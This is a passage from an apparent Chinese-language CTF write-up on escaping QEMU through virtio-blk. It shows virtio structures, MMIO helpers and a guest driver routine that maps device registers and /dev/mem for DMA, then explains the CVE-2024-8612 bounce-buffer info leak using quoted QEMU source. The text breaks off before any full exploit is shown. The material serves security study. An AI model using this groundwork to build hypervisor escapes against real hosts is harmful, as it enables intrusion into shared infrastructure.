class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_desc</span> {</span></span><br><span class="line"> <span class="comment">/* Address (guest-physical). */</span></span><br><span class="line"> le64 addr;</span><br><span class="line"> <span class="comment">/* Length. */</span></span><br><span class="line"> le32 len;</span><br><span class="line"><span class="comment">/* This marks a buffer as continuing via the next field. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_NEXT 1</span></span><br><span class="line"><span class="comment">/* This marks a buffer as device write-only (otherwise device read-only). */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_WRITE 2</span></span><br><span class="line"><span class="comment">/* This means the buffer contains a list of buffer descriptors. */</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_DESC_F_INDIRECT 4</span></span><br><span class="line"> <span class="comment">/* The flags as indicated above. */</span></span><br><span class="line"> le16 flags;</span><br><span class="line"> <span class="comment">/* Next field if flags & NEXT */</span></span><br><span class="line"> le16 next;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_avail</span> {</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_AVAIL_F_NO_INTERRUPT 1</span></span><br><span class="line"> le16 flags;</span><br><span class="line"> le16 idx;</span><br><span class="line"> le16 ring[VIRTIO_QUEUE_SIZE];</span><br><span class="line"> le16 used_event; <span class="comment">/* Only if VIRTIO_F_EVENT_IDX */</span></span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_used_elem</span> {</span></span><br><span class="line"> <span class="comment">/* Index of start of used descriptor chain. */</span></span><br><span class="line"> le32 id;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/*</span></span><br><span class="line"><span class="comment"> * The number of bytes written into the device writable portion of</span></span><br><span class="line"><span class="comment"> * the buffer described by the descriptor chain.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> le32 len;</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtq_used</span> {</span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTQ_USED_F_NO_NOTIFY 1</span></span><br><span class="line"> le16 flags;</span><br><span class="line"> le16 idx;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtq_used_elem</span> <span class="title">ring</span>[<span class="title">VIRTIO_QUEUE_SIZE</span>];</span></span><br><span class="line"> le16 avail_event; <span class="comment">/* Only if VIRTIO_F_EVENT_IDX */</span></span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><hr><p>The driver queues requests to the virtqueue, the type of the requestis either a read (VIRTIO_BLK_T_IN), a write (VIRTIO_BLK_T_OUT), adiscard (VIRTIO_BLK_T_DISCARD), a write zeroes(VIRTIO_BLK_T_WRITE_ZEROES) or a flush (VIRTIO_BLK_T_FLUSH).</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_req</span> {</span> </span><br><span class="line"> le32 type; </span><br><span class="line"> le32 reserved; </span><br><span class="line"> le64 sector; </span><br><span class="line"> u8 data[][<span class="number">512</span>]; </span><br><span class="line"> u8 status; </span><br><span class="line">}; </span><br><span class="line"> </span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_discard_write_zeroes</span> {</span> </span><br><span class="line"> le64 sector; </span><br><span class="line"> le32 num_sectors; </span><br><span class="line"> <span class="class"><span class="keyword">struct</span> {</span> </span><br><span class="line"> le32 unmap:<span class="number">1</span>; </span><br><span class="line"> le32 reserved:<span class="number">31</span>; </span><br><span class="line"> } flags; </span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_IN 0 </span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_OUT 1 </span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_FLUSH 4 </span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_DISCARD 11 </span></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> VIRTIO_BLK_T_WRITE_ZEROES 13</span></span><br></pre></td></tr></tbody></table></figure><h2 id="mmio3">MMIO<a href="#fn3" class="footnote-ref" id="fnref3" role="doc-noteref"><sup>3</sup></a></h2><p><strong>Memory-mapped I/O</strong> (<strong>MMIO</strong>) uses thesame address space to address both main memory and I/O devices. Thememory and registers of the I/O devices are mapped to (associated with)address values, so a memory address may refer to either a portion ofphysical RAM or to memory and registers of the I/O device.</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">uint8_t</span> <span class="title function_">mmio_read8</span><span class="params">(<span class="type">void</span>* addr)</span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint8_t</span>*)addr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">uint16_t</span> <span class="title function_">mmio_read16</span><span class="params">(<span class="type">void</span>* addr)</span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint16_t</span>*)addr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">uint32_t</span> <span class="title function_">mmio_read32</span><span class="params">(<span class="type">void</span>* addr)</span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)addr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">uint64_t</span> <span class="title function_">mmio_read64</span><span class="params">(<span class="type">void</span>* addr)</span>{</span><br><span class="line"> <span class="keyword">return</span> *(<span class="keyword">volatile</span> <span class="type">uint64_t</span>*)addr;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write8</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint8_t</span> val)</span>{</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint8_t</span>*)addr = val;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write16</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint16_t</span> val)</span>{</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint16_t</span>*)addr = val;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write32</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint32_t</span> val)</span>{</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)addr = val;</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">mmio_write64</span><span class="params">(<span class="type">void</span>* addr, <span class="type">uint64_t</span> val)</span>{</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint64_t</span>*)addr = val;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h2 id="device-configuration-layout">Device configuration layout</h2><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_config</span> {</span></span><br><span class="line"> le64 capacity;</span><br><span class="line"> le32 size_max;</span><br><span class="line"> le32 seg_max;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_geometry</span> {</span></span><br><span class="line"> le16 cylinders;</span><br><span class="line"> u8 heads;</span><br><span class="line"> u8 sectors;</span><br><span class="line"> } geometry;</span><br><span class="line"> le32 blk_size;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_topology</span> {</span></span><br><span class="line"> <span class="comment">// # of logical blocks per physical block (log2)</span></span><br><span class="line"> u8 physical_block_exp;</span><br><span class="line"> <span class="comment">// offset of first aligned logical block</span></span><br><span class="line"> u8 alignment_offset;</span><br><span class="line"> <span class="comment">// suggested minimum I/O size in blocks</span></span><br><span class="line"> le16 min_io_size;</span><br><span class="line"> <span class="comment">// optimal (suggested maximum) I/O size in blocks</span></span><br><span class="line"> le32 opt_io_size;</span><br><span class="line"> } topology;</span><br><span class="line"> u8 writeback;</span><br><span class="line"> u8 unused0;</span><br><span class="line"> u16 num_queues;</span><br><span class="line"> le32 max_discard_sectors;</span><br><span class="line"> le32 max_discard_seg;</span><br><span class="line"> le32 discard_sector_alignment;</span><br><span class="line"> le32 max_write_zeroes_sectors;</span><br><span class="line"> le32 max_write_zeroes_seg;</span><br><span class="line"> u8 write_zeroes_may_unmap;</span><br><span class="line"> u8 unused1[<span class="number">3</span>];</span><br><span class="line"> le32 max_secure_erase_sectors;</span><br><span class="line"> le32 max_secure_erase_seg;</span><br><span class="line"> le32 secure_erase_sector_alignment;</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_zoned_characteristics</span> {</span></span><br><span class="line"> le32 zone_sectors;</span><br><span class="line"> le32 max_open_zones;</span><br><span class="line"> le32 max_active_zones;</span><br><span class="line"> le32 max_append_sectors;</span><br><span class="line"> le32 write_granularity;</span><br><span class="line"> u8 model;</span><br><span class="line"> u8 unused2[<span class="number">3</span>];</span><br><span class="line"> } zoned;</span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><h2 id="initialization">Initialization</h2><ol type="1"><li>Read <em>capabilities</em></li><li>Reset device</li><li>Reset <em>Virtqueue</em></li></ol><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">void</span> <span class="title function_">init_virtio</span><span class="params">()</span> {</span><br><span class="line"> <span class="type">int</span> fd = open(<span class="string">"/sys/devices/pci0000:00/0000:00:04.0/config"</span>, O_RDONLY);</span><br><span class="line"> <span class="keyword">if</span>(fd < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Open virtio config"</span>);</span><br><span class="line"> }</span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_cap</span> <span class="title">cap</span>;</span></span><br><span class="line"> <span class="type">char</span>* config = <span class="built_in">malloc</span>(<span class="number">0x1000</span>);</span><br><span class="line"> <span class="type">int</span> bytes_read = read(fd, config, <span class="number">0x1000</span>);</span><br><span class="line"> <span class="keyword">if</span>(bytes_read < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Read virtio config"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> fd = open(<span class="string">"/sys/devices/pci0000:00/0000:00:04.0/resource4"</span>, O_RDWR | O_SYNC);</span><br><span class="line"> <span class="keyword">if</span>(fd < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Open virtio resource4"</span>);</span><br><span class="line"> }</span><br><span class="line"> virtio_mmio = mmap(<span class="number">0</span>, <span class="number">0x4000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, fd, <span class="number">0</span>);</span><br><span class="line"> <span class="keyword">if</span>(virtio_mmio == (<span class="keyword">volatile</span> <span class="type">void</span>*)<span class="number">-1</span>){</span><br><span class="line"> ERR(<span class="string">"mmap virtio mem"</span>);</span><br><span class="line"> }</span><br><span class="line"> close(fd);</span><br><span class="line"></span><br><span class="line"> u8 cap_ptr = *(u8*)(config+<span class="number">0x34</span>);</span><br><span class="line"> <span class="keyword">while</span>(cap_ptr != <span class="number">0</span>){</span><br><span class="line"> <span class="keyword">if</span>(config[cap_ptr] != <span class="number">0x9</span>){</span><br><span class="line"> cap_ptr = *(u8*)(config+cap_ptr+<span class="number">1</span>);</span><br><span class="line"> <span class="keyword">continue</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="built_in">memcpy</span>(&cap, config+cap_ptr, <span class="keyword">sizeof</span>(cap));</span><br><span class="line"> print_cap(&cap);</span><br><span class="line"> <span class="keyword">switch</span>(cap.cfg_type){</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_COMMON_CFG:</span><br><span class="line"> virtio_common_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_NOTIFY_CFG:</span><br><span class="line"> virtio_notify_mmio = (<span class="keyword">struct</span> virtio_notify_cfg*)((<span class="type">size_t</span>)virtio_mmio + cap.offset);</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_ISR_CFG:</span><br><span class="line"> virtio_isr_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">case</span> VIRTIO_PCI_CAP_DEVICE_CFG:</span><br><span class="line"> virtio_device_mmio = virtio_mmio + cap.offset;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> <span class="keyword">default</span>:</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line"> }</span><br><span class="line"> cap_ptr = cap.cap_next;</span><br><span class="line"> }</span><br><span class="line"> close(fd);</span><br><span class="line"> <span class="built_in">free</span>(config);</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_pci_common_cfg</span>* <span class="title">common_cfg</span> =</span> (<span class="keyword">struct</span> virtio_pci_common_cfg*)virtio_common_mmio;</span><br><span class="line"> mmio_write32(&common_cfg->device_feature_select, <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"device_feature[0]: %x\n"</span>, mmio_read32(&common_cfg->device_feature));</span><br><span class="line"> mmio_write32(&common_cfg->device_feature_select, <span class="number">1</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"device_feature[1]: %x\n"</span>, mmio_read32(&common_cfg->device_feature));</span><br><span class="line"> mmio_write32(&common_cfg->driver_feature_select, <span class="number">0</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"driver_feature[0]: %x\n"</span>, mmio_read32(&common_cfg->driver_feature));</span><br><span class="line"> mmio_write32(&common_cfg->driver_feature_select, <span class="number">1</span>);</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"driver_feature[1]: %x\n"</span>, mmio_read32(&common_cfg->driver_feature));</span><br><span class="line"></span><br><span class="line"> <span class="class"><span class="keyword">struct</span> <span class="title">virtio_blk_config</span>* <span class="title">blk_cfg</span> =</span> (<span class="keyword">struct</span> virtio_blk_config*)virtio_device_mmio;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"capacity: %lx\n"</span>, mmio_read64(&blk_cfg->capacity));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"size_max: %x\n"</span>, mmio_read32(&blk_cfg->size_max));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"seg_max: %x\n"</span>, mmio_read32(&blk_cfg->seg_max));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"geometry.cylinders: %x\n"</span>, mmio_read16(&blk_cfg->geometry.cylinders));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"geometry.heads: %x\n"</span>, mmio_read8(&blk_cfg->geometry.heads));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"geometry.sectors: %x\n"</span>, mmio_read8(&blk_cfg->geometry.sectors));</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"blk_size: %x\n"</span>, mmio_read32(&blk_cfg->blk_size));</span><br><span class="line"></span><br><span class="line"> <span class="comment">// reset device</span></span><br><span class="line"> mmio_write8(&common_cfg->device_status, <span class="number">0</span>);</span><br><span class="line"> mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line"> mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line"> mmio_write32(&common_cfg->driver_feature_select, <span class="number">0</span>);</span><br><span class="line"> mmio_write32(&common_cfg->driver_feature, <span class="number">0</span>); <span class="comment">// disable all features</span></span><br><span class="line"> mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line"> assert(mmio_read8(&common_cfg->device_status) & VIRTIO_CONFIG_S_FEATURES_OK);</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"> <span class="comment">// alloc dma memory</span></span><br><span class="line"> <span class="type">int</span> dma_fd = open(<span class="string">"/dev/mem"</span>, O_RDWR | O_SYNC);</span><br><span class="line"> <span class="keyword">if</span>(dma_fd < <span class="number">0</span>){</span><br><span class="line"> ERR(<span class="string">"Open dma"</span>);</span><br><span class="line"> }</span><br><span class="line"> dma_mem = mmap((<span class="type">void</span>*)<span class="number">0x3ffdd000</span>, <span class="number">0x3000</span>, PROT_READ | PROT_WRITE, MAP_SHARED, dma_fd, <span class="number">0x3ffdd000</span>);</span><br><span class="line"> <span class="keyword">if</span>(dma_mem == (<span class="keyword">volatile</span> <span class="type">void</span>*)<span class="number">-1</span>){</span><br><span class="line"> ERR(<span class="string">"mmap dma mem"</span>);</span><br><span class="line"> }</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem = <span class="number">0x12345678</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"%x\n"</span>, *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem);</span><br><span class="line"> *(<span class="keyword">volatile</span> <span class="type">uint32_t</span>*)dma_mem = <span class="number">0</span>;</span><br><span class="line"> <span class="built_in">printf</span>(<span class="string">"dma_mem: %p\n"</span>, dma_mem);</span><br><span class="line"> dma_data = dma_mem + <span class="number">0x1000</span>;</span><br><span class="line"> queue_desc = (<span class="keyword">struct</span> virtq_desc*)dma_mem;</span><br><span class="line"> queue_avail = (<span class="keyword">struct</span> virtq_avail*)((<span class="type">char</span>*)queue_desc + <span class="number">0x10</span> * VIRTIO_QUEUE_SIZE);</span><br><span class="line"> queue_used = (<span class="keyword">struct</span> virtq_used*)((<span class="type">char</span>*)dma_mem + <span class="number">0x200</span>);</span><br><span class="line"></span><br><span class="line"> <span class="comment">// init queue</span></span><br><span class="line"> mmio_write16(&common_cfg->queue_select, <span class="number">0</span>);</span><br><span class="line"> mmio_write16(&common_cfg->queue_size, VIRTIO_QUEUE_SIZE);</span><br><span class="line"> mmio_write64(&common_cfg->queue_desc, (<span class="type">size_t</span>)<span class="number">0x3ffdd000</span>);</span><br><span class="line"> mmio_write64(&common_cfg->queue_driver, (<span class="type">size_t</span>)<span class="number">0x3ffdd100</span>);</span><br><span class="line"> mmio_write64(&common_cfg->queue_device, (<span class="type">size_t</span>)<span class="number">0x3ffdd200</span>);</span><br><span class="line"> mmio_write16(&common_cfg->queue_enable, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> mmio_write8(&common_cfg->device_status, VIRTIO_CONFIG_S_DRIVER_OK | VIRTIO_CONFIG_S_FEATURES_OK | VIRTIO_CONFIG_S_DRIVER | VIRTIO_CONFIG_S_ACKNOWLEDGE);</span><br><span class="line"> <span class="built_in">puts</span>(<span class="string">"virtio init done"</span>);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h1 id="vulnerabilities">Vulnerabilities</h1><h2 id="cve-2024-8612">CVE-2024-8612</h2><p>从文件的字符串中可得知 qemu 的版本号为 <code>qemu-8.0.0-rc2</code>,存在一个关于 <code>virtio-blk-pci</code> 的信息泄漏漏洞:<a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-8612">CVE-2024-8612</a></p><p>具体利用还可以参考:</p><p><a href="https://www.youtube.com/watch?v=wL3LK9Dp4os">HEXACON2024 -DMAKiller: DMA to Escape from QEMU/KVM by Yongkang Jia, Yiming Tao &Xiao Lei</a>,</p><p><a href="https://zqy.ink/2025/04/28/easydma/">ACTF2025-EasyDMAWriteup</a></p><p>当 DMA 访问的地址是 MMIO 的,会使用 <code>bounce buffer</code></p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* Map a physical memory region into a host virtual address.</span></span><br><span class="line"><span class="comment"> * May map a subset of the requested range, given by and returned in *plen.</span></span><br><span class="line"><span class="comment"> * May return NULL if resources needed to perform the mapping are exhausted.</span></span><br><span class="line"><span class="comment"> * Use only for reads OR writes - not for read-modify-write operations.</span></span><br><span class="line"><span class="comment"> * Use cpu_register_map_client() to know when retrying the map operation is</span></span><br><span class="line"><span class="comment"> * likely to succeed.</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"><span class="type">void</span> *<span class="title function_">address_space_map</span><span class="params">(AddressSpace *as,</span></span><br><span class="line"><span class="params"> hwaddr addr,</span></span><br><span class="line"><span class="params"> hwaddr *plen,</span></span><br><span class="line"><span class="params"> <span class="type">bool</span> is_write,</span></span><br><span class="line"><span class="params"> MemTxAttrs attrs)</span></span><br><span class="line">{</span><br><span class="line"> hwaddr len = *plen;</span><br><span class="line"> hwaddr l, xlat;</span><br><span class="line"> MemoryRegion *mr;</span><br><span class="line"> FlatView *fv;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (len == <span class="number">0</span>) {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> l = len;</span><br><span class="line"> RCU_READ_LOCK_GUARD();</span><br><span class="line"> fv = address_space_to_flatview(as);</span><br><span class="line"> mr = flatview_translate(fv, addr, &xlat, &l, is_write, attrs);</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!memory_access_is_direct(mr, is_write)) {</span><br><span class="line"> <span class="keyword">if</span> (qatomic_xchg(&bounce.in_use, <span class="literal">true</span>)) {</span><br><span class="line"> *plen = <span class="number">0</span>;</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">/* Avoid unbounded allocations */</span></span><br><span class="line"> l = MIN(l, TARGET_PAGE_SIZE);</span><br><span class="line"> bounce.buffer = qemu_memalign(TARGET_PAGE_SIZE, l);</span><br><span class="line"> bounce.addr = addr;</span><br><span class="line"> bounce.len = l;</span><br><span class="line"></span><br><span class="line"> memory_region_ref(mr);</span><br><span class="line"> bounce.mr = mr;</span><br><span class="line"> <span class="keyword">if</span> (!is_write) {</span><br><span class="line"> flatview_read(fv, addr, MEMTXATTRS_UNSPECIFIED,</span><br><span class="line"> bounce.buffer, l);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> *plen = l;</span><br><span class="line"> <span class="keyword">return</span> bounce.buffer;</span><br><span class="line"> }</span><br><span class="line"> <span class="comment">//...</span></span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>同时,通过 <code>qemu_memalign</code> 得到的内存并没有初始化。</p><figure class="highlight c"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span 